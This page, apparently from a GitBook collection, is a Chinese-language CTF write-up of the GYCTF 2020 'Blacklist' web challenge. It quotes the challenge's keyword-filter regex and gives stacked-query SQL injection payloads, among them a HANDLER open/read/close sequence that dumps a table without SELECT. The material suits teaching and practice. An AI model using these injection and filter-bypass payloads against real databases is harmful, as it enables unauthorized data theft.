📕 WriteUp
  • Introduction
  • NewStarCTF 2023
  • MoeCTF 2023
  • DASCTF Jul.2023
  • LitCTF 2023
  • 蓝桥杯 2023
  • NSSRound#13
  • GDOUCTF 2023
  • MoeCTF 2022
  • SWPUCTF 2022
  • SWPUCTF 2021
  • MoeCTF 2021
  • NPUCTF 2020
  • MRCTF 2020
  • GYCTF 2020
  • BJDCTF 2020
  • 网鼎杯 2020
  • CISCN 2019
  • 极客大挑战 2019
  • 安洵杯 2019
  • 强网杯 2019
  • SUCTF 2019
  • De1CTF 2019
  • SWPUCTF 2019
  • ZJCTF 2019
  • RoarCTF 2019
  • GWCTF 2019
  • GXYCTF 2019
  • WesternCTF 2018
  • HCTF 2018
  • 护网杯 2018
  • 网鼎杯 2018
  • BUUCTF 2018
Powered by GitBook
On this page
  • Web
  • Blacklist

GYCTF 2020

PreviousMRCTF 2020NextBJDCTF 2020

Last updated 1 year ago

Web

Blacklist

随便输入 1 进去回显得到数组,输入 1' select 回显得到一条 PHP 语句。

preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

可以发现过滤了许多 SQL 关键字,传入 1';show databases; 可以获取到数据库名为 supersqli

传入 1';show tables; 可以看到 flag 被藏到了 FlagHere 表中。

但是要怎么获取到 flag 呢?select 已经被吃掉了,经过百度发现可以通过 HANDLER 语句获取。

HANDLER table_name OPEN:打开一个表的句柄。

HANDLER table_name READ index:访问表的索引。

HANDLER table_name CLOSE:关闭已经打开的句柄。

HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]

  • READ FIRST: 获取句柄的第一行

  • READ NEXT: 依次获取其他行

通过传入 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close; 就可以获得 flag 力